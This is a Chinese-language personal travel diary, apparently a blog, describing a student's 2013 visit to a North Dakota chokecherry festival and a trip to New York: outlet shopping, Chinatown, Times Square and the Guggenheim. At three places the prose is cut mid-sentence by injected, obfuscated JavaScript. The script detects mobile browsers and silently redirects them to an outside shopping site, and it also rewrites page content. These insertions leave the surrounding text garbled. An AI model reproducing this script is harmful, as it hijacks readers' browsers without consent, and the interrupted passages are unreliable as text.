下一个摊位就是威利斯顿大学的。摊主穿着印有威利斯顿大学的T很热情地招呼我们过去玩小游戏。游戏规则就是把一个木质小圆牌从最顶端的任意卡口放下去，整个木板上有很多限制圆牌下落的突起长杆，看圆牌最后落在几号槽内，然后你就获得相应的奖品。我的圆牌落在了3号位，可选的礼物有杯套，太阳眼镜和防晒霜！其他的礼物还有T，笔之类的，重点是这居然是免费的！而且在知道我们想去大学参观之后，他们居然主动给了名片，告诉我们随时可以去大学听课，并告知威利斯顿大学在本月二十六号开学。我糊里糊涂地拿了一幅太阳镜，可是转身就发现自己没有戴太阳镜的习惯……于是又回去换了杯套……顿时觉得自己真的太屌丝了…… 往下走到头，我们又沿着另一边折了回去。有一顶帐篷里的女人很热情地招呼我们过去，帐篷里摆满了小礼物，有泡沫的小鱼，铅笔，糖果，杯子什么的，女人告诉我们她们是帮助孤儿寻找愿意收养他们的家庭，并且会持续关注他们在寄养家庭的生活状况。我们说自己还是学生，女人说，你们以后就会有自己的家！这些礼物都是免费发放的，但是上面都印有她们组织的宣传。 再往下的篷子里是给人画漫画肖像的，我们站在背后看了看，真的画的很有神韵～于是也决定给自己画一张！不过排队的人太多，我们就先转站了！ 刚走到水泥小道就看见一只鹅伸长了脖子在一个铁格网围住的小范围里奔跑，那样子非常滑稽～走近一看，铁格网里是一个迷你动物园……里面所有的动物都聚在一起！草泥马，小鹿，小马驹，兔子，鹅，鸭子，乌鸡，小猪，还有小盆友和家长……几乎里面所有的动物都是小版的（除了家长）！小盆友们手里拿着喂动物的小盘子在动物之间穿梭……很搞笑，很有爱～在那么小小一块地里，美国村子里的人们自我娱乐着～ 在迷你动物园的左侧搭着一个看台，看台上的人们正在观看的是狗狗跳水～有一个台子，台子下方是一个长方形的水池，每家的主人牵着自己的狗走上台子，先让狗狗背对水池坐着，主人手里拿着狗狗喜爱的球，往水池抛去，狗狗为了球就会往水池里跳，就在狗狗落入水中的那一刻，掌声雷动！有一头狗狗，每当快到水池边就停了下来，望着水池里的球，站在岸上发抖，不时用一只脚伸到水池里试探水深，他的主人就在背后把他往下推，但是狗狗就是尽力往后躲，最后狗狗还是下了水……为了锻炼自己狗的胆量，这家主人反反复复让他家狗来了好几次，最后一次狗狗被推下水，我们都感觉他在水里绝望了！他嘴里含着球，感觉怎么也游不到边，听懂主人站在水池边上招呼他，可是他游过了一遍又一遍，就是找不到方向，最后工作人员拉着他的耳朵，终于把他拉上了岸……可是狗主人还要他来一遍！结果狗狗直接从边上跃过水池跳到了地上……这头狗狗是有多害怕啊！我们看着都心疼了……这期间有穿插一头黑色拉布拉多的精彩表演，真的是毫不犹豫跃入水池！好帅的～刚得知，狗狗每跳一次水，主人可以得到在本次Chokecherry Festival的一张五刀的代金券，可以在任意摊位上使用哦～ 在跳水看台不远处有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Festival的摊子！Chokecherry翻译成美国稠李及其果实，是一种圆圆的小果实，有紫色和黄色两种，我尝了一颗紫色的，很酸，很涩。稠李在2007年被定为北达科他的州果（就像国花，市树这种东西），所以每年的八月份稠李收获，就会有这样一个节日。威利斯顿的稠李节是昨天和今天两天，有专门的摊子卖稠李的果酱，唇膏什么的，还有纪念的徽章，毛巾，T……其实挺想买的，但是等我们画像回来，人家收摊了…… 明明是大晴天的，却忽然下起了雨……我们接下来去画卡通肖像的帐篷里画了自己人生第一副卡通肖像～虽然感觉摊主画中国人不如美国人画的好，但鉴于她是完全自学，完全出于兴趣就原谅了她……骏骏说摊主把我画的很像大侠！认真一看，还真有点～ 我们玩得很高兴，居然到了下午四点还没有吃午饭……因为下雨，Festival被迫中断（在户外的草坪上办的，雨确实下的太大了）……在去找饭店的路上我们遇见了那个免费帮小朋友扎气球玩具的大叔！我厚着脸皮过去问他我们可以要一个吗？他很爽快地停下来问我们想要什么？这也是我第一次扎气球玩具～很开心地选了粉兰两色扎了一个帽子！骏骏要了一只绿色的小狗～炯炯想要一个棒棒糖……人家不会……虽然是免费的，但是我们还是给了一刀的小费！这是人家的习俗～ 饭店的名字叫Three Amigo！是西班牙语，三个朋友的意思～里面吃的大米饭，我们要的是Kids餐……这个就跳过了，说说边上的那家甜品店～这是一家自助冰淇淋店！第一步，选型号的纸杯，然后选口味的冰淇淋，你需要自己去机子里挤，分量，口味由你自己定～一共是十二种口味可供选择！而且你还可以多种口味混合～一个窗口有两种口味，但是有三个挤冰淇淋的机子，因为中间是这两种口味的混合！接下来你可以去装饰你的冰淇淋，这里又是一个区，可以加坚果，M&M豆之类的，还有蛋糕上很常见的彩色小碎粒……还有太多我叫不出名字也不知道是什么……最后一区，你可以为冰淇淋加上水果～有蓝莓，猕猴桃，草莓，香蕉……还有几种可以淋在冰淇淋的酱！最后你只需要把自己DIY的冰淇淋称重，算出价格，就可以坐在环境优美的店里自己享受了～DIY是我的一种情怀！我真的很喜欢～ 今天是来威利斯顿过得特别开心的一天，不管这里有多热闹，场地都是干干净净的～确实有很多值得学习的地方的！只是后来下雨了，有点遗憾…… 68.大二暑假（14） 2013年8月27日 星期二 晴 （回忆纽约之行） 还在纽约就知道回头补这几天的日记是很不容易的事，从昨天拖到现在，终于是要下笔了。先说回来的感觉吧！很迷茫，总觉得去纽约的那几天很不真实，然后就是上班不适应……有一种奇怪的游神的感觉……在纽约没有办卡，所以昨天上了三个小时的班就和Jason请假办卡去了！美国办卡和中国区别还是很大的，具体有机会再提，印象最深的就是你可以自己选择自己卡的图案～银行卡是US Bank的，大部分人选的是美国国旗，我选的是一片树林～好了，不扯了，现在开始努力回忆纽约之行！ 8月17日 去纽约的前一天，只排了我早上两小时四十五分钟的班，下班回来后东西就收拾差不多了。是中午的航班，吃过Applebee（美国连锁餐厅，环境不错，甜点还行，其他就算了……），就打车去了威利斯顿的小机场。说到威利斯顿的机场，小到什么地步呢？就是你站在入口，就可以一览无余了！美国国内的飞机托运是要付费的，而且你只可以带一个登机箱和一个随身包，最水的是机票是用纸张打印的，拿在手里有一种废纸的感觉……过安检的时候被问及我的年龄，我很想知道我看起来就真的那么Young吗？！脱了鞋子，炯炯解了皮带，通过了一扇门，安检就算结束了。狗血的是居然在过安检的时候遇见Rice&Spice的店员，同一趟飞机去纽约！ 没有给停留的时间，就可以登机了（美国提前登机的时间早的有点夸张）。哈哈！名副其实的小飞机！不要说头等舱了，连经济舱都没有……一共就坐了四十个人……坐在最后一排都可以看见飞行员和驾驶舱里那些高端的仪器！没有漂亮的空姐，是一位看起来有五十岁的大爷！姑且称之为“空爷”吧……空爷的座位就面对着我们在机舱的最前面，提供的所有饮料也是听装的，而且是用一次性小塑料杯，多人分享一听……因为是小飞机，起飞降落都动荡得厉害，简直就是云霄飞车！不过还好我基本处于昏睡状态，晕机也没有那么严重…… 大约飞了快两个小时，我们到明尼阿波利斯转机（8月29日 看了一句话很喜欢，唯美食与爱不能辜负。由来是一个关于食物回忆的帖子，这世界上有太多的无奈和美好。大家都是有故事的人，我也要好好把自己的故事讲下去。今天继续写纽约之行！）明尼的机场非常大，里面也有很多可爱的店铺～但是赶飞机才是第一要义！这次换了稍大的飞机，不过坐在我边上的是印度阿三！ 美国飞机上的乘务员大都有了一把年纪，远比不上国内的美丽，反正我都在睡觉，也就不在乎这些了。从明尼飞到纽约跨了一个时区，所以在将近纽约的时候，我醒来看见身边的阿三在调手表，无意间也就开始了对话。阿三是来美国看女儿的，他的两个女儿都在印度结婚，然后和丈夫一起来了美国。谈话期间他向“空姨”要了一杯茶，然后往里倒了一小盒奶（传说中的奶茶？！阿三说印度人都是这么喝茶的）……他说中国是一个很好的国家，尤其是独生子女政策，非常的好（他说的Very Good）！瞬间觉得只有印度人民才可以理解独生子女的绝妙啊！我遇到的大多美国人对此都是嗤之以鼻的……阿三身上有着浓浓的咖喱味，口音也是满满的咖喱！和他聊天简直是要疯了……适时我看到窗外纽约的夜景，大赞！璀璨也无法形容那种灯火辉煌带来的视觉震撼！无边无际的亮光延伸向远方织成一张金灿灿的大网，在月光下显得浩瀚～纽约，带着无数人的向往，我来了。在下飞机前，阿三说佛主保佑我，平安快乐！我说不来自己是怎样去理解的，也没有多想，就忙着和连老师联系了。他已经在拉瓜迪亚机场等我们了。 果真不需要辨认，连老师和阿连就是长了一张脸！连老师开车一直把我们载到了他家，一个叫“白原”的意大利富人区。由于车子底盘低，开进车库有一个小坡，所以我们在路边就下车了。是一幢三层楼的白色洋房，连老师的女儿Annie在楼上的窗子里向我们招手～那已经是晚上十一点，连老师为我们煮了热气腾腾的手擀面，里面放的三文鱼、香菇和生菜，感动得眼泪在眼眶里打转。三个月来第一次正经的中餐，下飞机见到了家乡的中国人，那种感觉不是亲身体验永远不会懂。 连老师的妻子在国内的时候也是老师，叫连萍，以下为方便起见称萍，连老师的女儿Annie，中文名是幸。算是吃了我们一天最正经的饭，萍带着我们参观了他们的家。萍说，“这是意大利人盖的新房，美国人的那些房子外面看起来漂漂亮亮的，其实里面破破烂烂，因为年代久远。我们要住新房！这桩房子分成了两半，我们住的是右边。”接下来我们先上三楼看了房间。三个房间，主卧，副卧和我们睡的书房。二楼是厨房餐厅和客厅，从餐厅可以看见他家的小花园。一楼也就是Basement，是幸的活动室，里面全是玩具和书。每一层楼都有一个洗手间，而且在他家的每一个角落都放着幸的小玩具，包括洗手间的洗手台、马桶、壁炉、沙发、电视柜、餐桌、冰箱，楼梯口更是摆了一排的毛绒玩具！幸今年九岁，按照这样来算，平均一周要买一到两个玩具才行。二楼的客厅里放着幸的大钢琴，在我们的睡的书房摆的是幸的电子琴。大致参观了以后，萍把我们领到洗漱间洗漱。在睡觉之前，我也环视了我们住的书房。最左边是幸的电子琴，边上是一扇暗门，里面是幸的衣柜，里面密密麻麻挤着挂着幸的外衣。靠右是一个书柜，里面零星的几本书，基本摆的是幸的各种限量版娃娃……对着窗子是一张书桌，靠着洗漱间是一个木柜子，里面还是幸的衣服。我们睡的是萍为我们临时充的气垫，还为我们准备了新的人字拖，可惜炯炯脚大穿不下，她穿了我带的拖鞋，整个房间给人的感觉很好～聊天到深夜，睡觉准备去Woodbery（应该是拼写错了……）购物。 8月18日 从在麦当劳上班以后我在定点都会醒来，虽然坐了飞机很疲劳，但我还是起了。（个人之间的不愉快我尽量不提，因为过去以后也不会再有交集，记录这些也没有什么意义。看清一个人自己知道就够了。）吃了很中式的早饭，稀饭配菜～全家开车去Woodbery。Woodbery其实是一个各种名品折扣店组成的一个村子，很大，牌子相对齐全，也是华人赴美旅行的必去之地！ 车开进停车场的时候就发现车不是一般的多，满满的几个大操场啊！一辆车里随便坐上几个人！哎……在这里购物是需要地图的，上面标注了哪个牌子的折扣店在哪个位置，不然这么大一个村子一定是会迷路的，而且顺带去服务中心拿打折的小册子，可能可以在折扣的基础上再打折！说是小册子，但拿在手里简直是一本厚书！几百个牌子的优惠都写在了里面，一家一页……前期工作都准备到位了，出发！ 第一家店是Coach女包，实在想用自己赚的第一份工资给妈妈买一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967939|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包，只是……折扣店就是折扣店，没有看上眼……而且里面满是人！满是中国人！毫不夸张地说，十个人里九个是中国人，而且买包不需要看标价，看中了就直接攥在手里。其实我怀疑是真的觉得好看吗？还是太有钱？！手里都拿着四五个……我觉得起码也要多看几眼想一想吧…… 有点失望吧，不记得后来具体去了哪些店了，主要是很多牌子我不认识……下面挑几家主要的店说说。一个是匡威，没有想象的那么便宜，经典款还是39.99（我记得是）一双，货不全，码也不全，不过各色的鞋带和系鞋带的方法还是很让人喜欢的～李维斯没有什么特别，还是中国人很多……在试衣间排队的都是……阿迪三叶草的折扣店就没有让人入眼的东西！耐克也很一般，我花了一个多小时吧，帮爸妈找了两双是记忆鞋底的跑鞋。还有North Face，打了折依旧很贵……抱着看一看的心态去了阿玛尼，具体不记得了，反正看着像淘宝货的东西打了折都要好几百刀……印象最深刻的是Polo这家店，因为人实在是太多！而且买衣服的话可以买上一个拖箱！还是最大号的拖箱，还拖好几个！我在收银台看见的那些人最少是买了十几件的……在这里购物的人确实都是带着拖箱的，似乎这都是白菜价？！对于购物，我实在是没有什么心得…… 第一天的行程看起来似乎有那么点乏味，不如说说连老师一家吧。连老师九一年来的美国，和我爸妈一般年纪，很迟才要了孩子。幸出生在美国，只在很小的时候回国了一次，她的英文肯定说得很好，中文却有很多词听不懂，比如“农业”、“气功”……她每周日会去中文学校上课，萍现在就在这所中文学校教四年级的中文，其实我很怀疑，南方口音教出来的学生……不过来美国之前她在某重点中学教历史，还是班主任吧。 幸的所有思维和行为都非常西化，她说自己是美国人，不喜欢吃中餐！叫自己的父亲为“Lian”，这个音发出来我还是在很多天后才反应过来是“连”……会和父亲打闹，在我眼里有的时候很过火……不过，老来得子，这种宠溺我似乎可以理解。最有意思的是吃饭。不知道是不是因为我们来了，连老师家这几天几乎都是吃中餐，大米饭，清蒸三文鱼，清蒸火鸡肉，水捞生菜，水捞花椰菜，白灼虾，西红柿炒鸡蛋（好像还是有点西化……），酱黄瓜，罐头笋，豆腐，芋头糕～现在写出来都还觉得流口水！可是幸不喜欢，她要求连老师给她烤Bagel（面包圈），摸上果酱吃！或者是各种小甜点，我都叫不上名字……萍就喜欢逼着她吃青菜。有一个晚上我觉得超级搞，那个晚上连老师煮了西芹梗和生菜，萍对我说，我们留一点生菜给Annie，西芹她咬不动。我当时就震惊了！后来发现萍吃西芹也是吐了一桌的渣子……这种纤维都吃不下吗？还是我们的胃是有多糙！大笑！ 这几天饭后连老师会给我们泡我送的茶叶，可是幸喜欢喝的是咖啡，还老是在睡前喝……所以每晚到了凌晨就听见萍让幸去洗漱睡觉，不过幸照样玩自己的，第二天睡到中午十二点！说到茶叶，萍反复问我茶叶有没有打农药？！那我送的茶叶呢？我说没有打农药，中国的东西没有那么可怕……我觉得吧，我们这么多中国人活得好好的……难听的话我还是不说了，伤感情～最喜欢的还是连老师在喝茶前为大家做鲜果Smoothie～喝上一杯，好喝极了～所以我下定决心回去做给爸妈喝！18号就先写到这里，19号开始真正在纽约逛了。 69.大二暑假（15） 8月19日 按照计划，来纽约的第二天应该去办中国银行的卡。我们早起和连老师一起去上班（连老师在曼哈顿的华尔街上班，中国城也在曼哈顿，那里就有中国银行）。先是开车到了火车站，大约二十分钟到达停车楼，然后乘四十分钟的火车到达中央车站，再换乘地铁到达华尔街，然后步行去上班，这就是连老师每天的生活。在火车上满是打扮体面的白领，不是看报就是睡觉！女白领们大都手里有两个包，一个是出席各种场合的工作包，最低的档次也是Coach了，另一个是装着平跟鞋，外套，各种用品的双肩包或者单间大包。在中央车站所有人的步伐都很快，你要是走的慢，后面的人就要说“Excuse Me”绕过你快走了！在那里拍过一张照片，我站着不动看时刻表，最后照片出来的效果是，没有经过处理，除了我所有人都是流线型，就像是慢动作回放的重影，那简直是跑的节奏啊！ 那天连老师不放心我们，先把我们送到了中国城的那一站，他再自己倒地铁回华尔街上班，我真心是不好意思……出了站，等炯炯办了电话卡，我们开始用导航找中国银行。美国的路大都是直线，把地分割成一块一块四四方方，所以导航地图可以说是无障碍的，可是在中国城行不通……所有的小路错综复杂，街道又脏又臭……我觉得中国没有那么差吧……大街上人们讲的不是广东话就是福州话，会说普通话反而是白搭！ （9月2日 星期一 前天晚上一起去吃了墨西哥餐，想要点一杯酒精饮料，服务生要求看证件……最后骏骏还是回旅馆拿了护照给他看才点了那么一杯鸡尾酒。这篇日记还是在拖……最近想回国的情节真心是有点严重了……好吧，继续！）在到达中国银行之后，我们在前台进行了一系列的无谓咨询，最后还是上了二楼，由一位专门的女士给我们讲解。听她的普通话必须百分之百的精力集中，有些词还是会不懂，我怀疑上次我打电话来中行的纽约支行咨询就是她接的电话……以至于从中行出来以后我有一种头晕脑胀的感觉，像极了当年考完一场理综的状态！好吧，虽然态度是好到爆，但结局就是中行的纽约支行和国内联系不大，办了这里的卡回国以后只能用ATM取钱，销户的话还是要回纽约，每个月卡里不足1000美金的话还要扣除10美金的费用，六个月内销户需要支付25美金，办了卡寄到北达科他要一个月……呐！没有办卡，走了…… 办卡的这事算是结束了，下一站就是自由女神像了。路经中国城的公图，进去看了一眼，真心是不错，有个三四层楼吧！反正是一栋楼立在街边，印象比较深的是儿童专区有火影的漫画书，然后就是很多在那里自习的学生。后来还路过了寄快递回国的华通，布鲁克林大桥什么的。一路上还一直看见的就是一位华裔九月十日竞选纽约市长的海报，总是让我有一种很牛的感觉！好不容易看见了邮轮，远远就瞥见了某邪教的大横幅！那几个站台的妇女也是远远地看见我们是亚裔面孔就冲上来讲话，“小姑娘啊～你们一看就是心地善良！”现在想想我当时装得不好，我打断她说的第一句话是，“Can you speak C……”就是发出了Chinese的那个C的音……后来改口说English已经太明显的就是中国人了……没有办法，我选择了直接走开！径直走到了自由女神邮轮的售票口。我隐约记得买的是十二点十五分的票，顺带拿了一本介绍纽约旅游的小册子。在等邮轮的时候感觉很饿，吃了连老师早上为我们准备好的香蕉～在排队等候的时候我们就已经发现这个景点又是要被中国人占领了！真心感叹中国人的强大消费力！而且你会发现穿Polo的亚裔男士十有八九是中国人…… 邮轮先开近了布鲁克林大桥，之后就往自由女神岛的方向前进，沿路导游的讲解属于自娱自乐～我还是老样子，在邮轮上就是犯困，隐约是睡了一小段路程吧。慢慢地就开始看见自由女神像了！大家都开始激动了起来。在我眼里就是那个高高的青铜像……等饶了一圈要返程了，我们意识到我们不能登岛……不知道是什么状况，炯炯跑去问，据说是要提前预约。当然我没有太多的想法，只是炯炯扬言要再去一次！ 终于饿到不行的我们要去吃饭了！途径一家很有意思的糖果店，吃的还是麦当劳……用的是炯炯收集的一大堆免费券……之后去的地方其实很走马观花，最狗血的是在Water Street居然又遇见了那个Rice&Spice的男人，他一心想给我们做导游，很显然，我们也是尽力远离他。纽约和上海的感觉就是很像。在窄窄的巷子里抬头仰望高高的楼。911被摧毁的双子塔，现在只重建一栋了，不远处的联邦政府大楼，当然是进不去的。重点是我们又去了一家折扣商场，叫Century 21，在这附近的所有人手上几乎都拿着一个Century 21的袋子！这是一个巨大的折扣商场，一进去仍旧是被里面庞大的中国人群震摄！里面CK之类的牌子看起来被卖的很廉价，确实，挺廉价的……不过也不是所有都卖的便宜，因为几千美金的东西打折后依旧是很贵的……我是完全审美缺失！所以兜了一大圈，老老实实回了华尔街等连老师下班。这个补充一个细节，在倩碧专柜，一个中年中国籍男子买了14瓶125毫升的小黄油…… 等我们回到松树街，连老师已经在公司楼下等着我们了。我们没有直接回去，而是由连老师领着走了一遍华尔街。无非是纽交所，三一大教堂之类的建筑。最后进了一家华尔街两层楼的珠宝店，我是不记得名字啦！不过他家的经典款是钥匙和锁，每个销售员看起来都很专业，最专业的应该是站在各个角落的保安！店里的装潢是属于高贵大方的那种，但是由于本人天生对珠宝无感，所以也就没有太多的想法了。等我们坐了地铁换了火车又开车回家，早已经是饥肠辘辘，那晚还发生了什么我是真的不记得了…… 8月20日 依旧起了大早和连老师一起出发，早餐是为我们准备了麦片，牛奶，蛋烤土司，水煮蛋，还有一些甜点。我吃不下，很直接地和连老师说明，吃好了就出发！在连老师的建议下我们从中央车站出来直接先去了联合国总部。因为是上班高峰期，你问路，那些白领们是不耐烦的……好在也不远，走了几步还真的就看到了联合国的那块大板砖！下了很长的一段阶梯，我们就看到联合国的官员们戴着一块工作牌鱼贯由一个小门进入联合国的势力范围！势力范围就是用栏杆绕着那块板砖围了大大的一片地！隔了几百米就有一扇门，一个岗亭，然后门边站着一个，里面坐着一个保安！因为不知道要怎么进去，我们先问了一个路人甲，他说要去问保安，我就去问了岗亭里的保安，他说要问站在门口看通行证的保安，我就又过去问……那个保安要对每个进入的工作人员说Morning！我夹在人群中间说了一句Excuse Me，他让我等在旁边，然后抽空对我说，游客路口往前走，在47街，即使在和我说话，他仍旧夹着和进门的工作人员的Morning…… 沿着联合国的铁栏杆可以看见加入联合国国家的国旗，不过我们没有认真找到中国国旗在哪……马上就在游客入口的那个小小的门口见到了一大堆的人！哈哈，中国人！虽然有门，但是门口站着一个保安，仍旧不知道怎么进……我们在门口徘徊了一下，炯炯发现栏杆上贴了一张纸，上面写的是网上预订门票的网址。我没有办法，还是去问了保安，得知，参观联合国唯一的方法是网上预订，然后带着打印的门票从这个入口进去参观……炯炯想尝试着用手机临时预订，结果发现还需要注册，要提供国籍什么的一大堆信息……我们很快放弃了，打算打车，要一辆印度阿三的出租车，去时代广场！ 联合国门前的车道上赫然用黄色油漆标着“Bus Only”，我们又不知该如何打车，只好又返回去问保安小哥……半信半疑地站在了Bus Only的街边，一心想等一辆阿三的出租～最后还是招手拦了，还真的就停在了Bus Only的道上！我上车的第一个问题就是纽约有没有专门的出租车落客点，司机告诉我，没有，只要招手，哪里都可以停～开始聊天就很自然说到了纽约，司机是从美国的另一个地方搬来的（那个地名听不懂好么……），他说自己不喜欢纽约，他觉得纽约的人很Crazy，这里的消费很高，房租，水电费各种都要钱，还有严重的失业！得知我们从北达科他来，他表示那里很美，是真正适合居住的地方。路过洛克菲勒中心的时候他提了一句，然后告诉我们在曼哈顿旅游应该上城，中诚，下城一个一个的玩，不应该像我们这样横穿两个城，不过既然这样做了，今天就祝我们玩的开心～实话，我现在也没有搞清楚曼哈顿的上城、中城和下城……至于洛克菲勒中心，更是一点概念都没有。出租车是需要付小费的，不记得给了多少，下车就是时代广场。 来纽约旅行我一直没能够找到重点，或许是因为自己本来对这里就没有什么兴趣吧……第一站就是M&M豆的一栋楼。里面全是M&M及各种周边！各式各样的包装，各种各样的MM颜色～还有巨大的豆豆的塑像！确实是欢乐的儿童天堂～从一楼到三楼逛了一遍，商品琳琅满目，不过都价格不菲。我对于MM的热情就是没有什么热情，就像是去自由女神，纯粹作为炯炯的陪同。比较有意思的是MM豆有多种颜色的糖衣，店里有根据部分国家的国旗给MM豆配色，比如中国国旗前就是标准的红黄配！你也可以自己配色，一共有几十种的MM豆颜色任你搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12980753|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配。你会发现，美国确实处处都在强调自己动手为自己打造Special和Unique的自我商品！看看！不是自己，就是我，真是自我到爆的国家～我有看到很有关于Elizabeth的产品，比如名字牌啦，便签啦～上面写着“message from Elizabeth”！确实挺有爱的。最后我买的是MM豆出的唇膏，我觉得这个是真的挺有意思的～刚好八根，全宿舍！一人一只。 在出租车上看见了I Love NY Gift的商店，后来居然返回去看，大失所望……继续前进就到了时代广场著名的大屏幕。你需要排队，站在一个台子上，然后就可以在时代广场的大屏幕上看到自己。这个队在我们去的时候已经非常长了，而且有警方在维持秩序，限制时间段的开放。我坐在台阶上，看着中国工行的超大广告屏，环视了一周，拍了几张照，就和炯炯去吃麦记了（就是麦当劳，话说在纽约吃麦当劳真是……做得真不好）。 （9月4日 这几天处于回国焦躁期，日记写得真心慢，而且居然刷起了《甄嬛》，看着甄嬛一次次装备升级，哈哈！有意思极了～继续）紧挨着麦当劳就是一家三层楼的迪斯尼专卖店，炯炯和我对这些东西是超级喜欢的，没有犹豫，一头就扎了进去！这家店几乎揽括了所有的迪斯尼人物周边，不过因为地处纽约，所以也不免俗套地有I Love NY的T和戴着自由女神皇冠的Minny，虽是这样说，我还就是想要一件！可惜，最后还是没有买上……我们最喜欢的是三楼，是儿童专区～里面有迪斯尼所有公主的全套装备，皇冠，项链，公主裙，鞋子等等等等！我先是拍，后来真的忍不住想试穿，想到自己小时候就是想要一条公主裙，哈哈～话说美国儿童的尺寸真心都有我这么大，甚至比我还要大！两个成年人就傻呵呵地在儿童区开心了很久～ 早就听骏骏说在纽约的时代广场有一家巨大的Forever 21（女装店，有点像H&M，但国内据说目前是北京上海有），这家店又临着迪斯尼专卖，而且是往地下走的，一共有四层！我在里面转了一遍，就没有适合我的……后来在时代广场又往前走了一段，看见了一家杜莎夫人蜡像馆，接着就往下去找炯炯灰狗大巴的上车点了。是在第八街，结果炯炯的票出了问题。她应该是凌晨的票，结果买成了中午十二点的票，这就意味着她需要换票，可是灰狗大巴（灰狗大巴是美国很著名也很普遍的一家巴士公司，他们家的巴士点遍布全美）只有一个窗口开放……要等待的时间会很长，所以我独自前往中国城去寄东西。 从进地铁口开始，我就开始问路了……（9月6日 磨叽到了今天还是只写到这里……继续！）刚进地铁口就发现了三个路口，通往三个方向……先问的是地下报刊亭的一个小贩，指了一个方向，我就屁颠屁颠赶着去了！在等地铁的时候为了保险起见问了站在我身边的一个男生，他说他也是往China Town方向，跟着他就好。纽约的地铁很多时候是不报站的……那个好心的男生每到一个站就告诉我还有几站就到。纽约是个大熔炉，人是世界各地来的，这个男生就是尼泊尔来的。（9月10日 继续……）自从木木去了尼泊尔我对这个国家也开始有了兴趣，不过没有聊几句（重点是时隔太久，我真的记不到了……），我也就到站了，他留了我的号码，可是没有打过，或许打了我没有接到吧。因为我从来不回未接来电……中国城地形复杂，我拿着上次在华通拿的名片按照地址找路，可能是地址太偏，问路很多人都不知道……后来走到了很大的三幢建筑前，一看，是法院！确实很气派！不过找路要紧，我就问了一个在修路的工人。他也不知道，但是他拿着手机帮我导航，然后我用手机拍下来每一步怎么走！确实很感动。虽然给华通的工作人员打了电话，但是他们的回复是中国城太大，他们也不知怎么走……大约是走了一个多小时吧，看见了林则徐公园，我也算了要熬到头了～ 在华通寄东西，除了福州有优惠，其他地方都是一样，每磅2.5美金（好像……），不用剪商标，因为带了税，不同的牌子关税还不同。我东西带在身上的不多，所以也就没有寄什么，现在后悔得要死……这边寄好了东西，我又去包宁街87号找我去尼亚加拉上车的地方。最后急急忙忙去中央车站和连老师炯炯会合。炯炯那天后来又去了第五大道，据说NBA的旗舰店弱爆了。那晚回去后第一件是就是预定了联合国的门票，然后麻烦连老师帮忙打印了一份，我记得萍因为Annie在公共图书馆的活动中不够主动絮絮叨叨了一个晚上……不记得是几点，炯炯出发去华盛顿，连老师开车去送。我一边查第二天的各种路线一边和萍聊天。其实那时候困得已经要崩溃了…… 70.大二暑假（16） 8月21日 早上仍旧是和连老师一起出发的，一路讨论的是***，那几天在美国这是很火的一件事。到了中央车站，我们就分开了，我往古根海姆出发。这趟地铁是奇迹般地报站～太具体的我记不清了，只是记得出站以后问了两次路就找到了。不过博物馆是十点开门，所以排队在门口等开门。 古根海姆的建筑远远看去就是粉刷成白色的墙壁被扭成螺旋状，至少我没有觉得那么显眼突出，或许是审美不够吧……终于用自己的国际学生证在景点打了一次折～兴致颇高地进去了。一进去就看见了螺旋状的内部充满了红色的光，地面的中央有一个圆形的大垫子，很多人都躺在上面往天顶看，我在边上找了个位置躺着，只是感觉气氛神秘，也没觉出什么，拍了几张照片就沿着螺旋的坡面往上走。可是因为是螺旋状的，绕着圆圈，走着走着我就晕了……犹豫了半天，还是返回到一楼拿地图…… （9月14日 继续）好不容易找到了地图回到最初的大厅，发现螺旋天顶变成了紫色！拿出手机刚拍了一张照片，就有保安上来告诉我，不可以拍照，不可以背双肩包，麻烦我去寄存……之前拍了的照片拍了也就拍了，来的早居然没有遇见阻碍，要不是返回去，估计后面的游览就要丢人了！我拿出了手机和笔记本，看着地图，又重新进入到大螺旋的内部。总算是搞懂了。在螺旋走道的两侧尽头各有一个房间，一共是七层楼，六个螺旋，有的房间是纪念品店，有的是咖啡厅，大部分房间还是展区。螺旋走道就是单纯的走道，一片透白，白色大理石铺就的地板，细腻的白色弧形墙壁，再配上白色的灯光，干净简洁，让人的心都一下子静了下来。每个展厅口都可以凭证件领取讲解器，我把护照放在了双肩包里，也懒得再下去，所以就靠着自己的理解来欣赏这些作品了。 纽约古根海姆的常设展厅展出的大都是现代派的画作，少不了的就是毕加索，老实承认，很多画我是欣赏不来的，但是就有那么几幅，我也说不上是为什么，我非常喜欢，站在画前由衷地热爱着。这次我很幸运，两个季节性的展厅都让我疯狂，一个是New Harmony：Abstraction Between The Wars（《新和谐，第一次世界大战和第二次世界大战间隔期的抽象艺术》翻译的不好请见谅），另一个是James Turrell，这是一个个人展，等等具体说。新和谐的一整个展厅有很多幅画的名字都position，我把它翻译成“组合”，或者“混合”。我会坐在或者站在那幅画前很久很久，直到自己想出那幅画上的所有颜色或者形状在现实中是如果组合才可以呈现的效果。 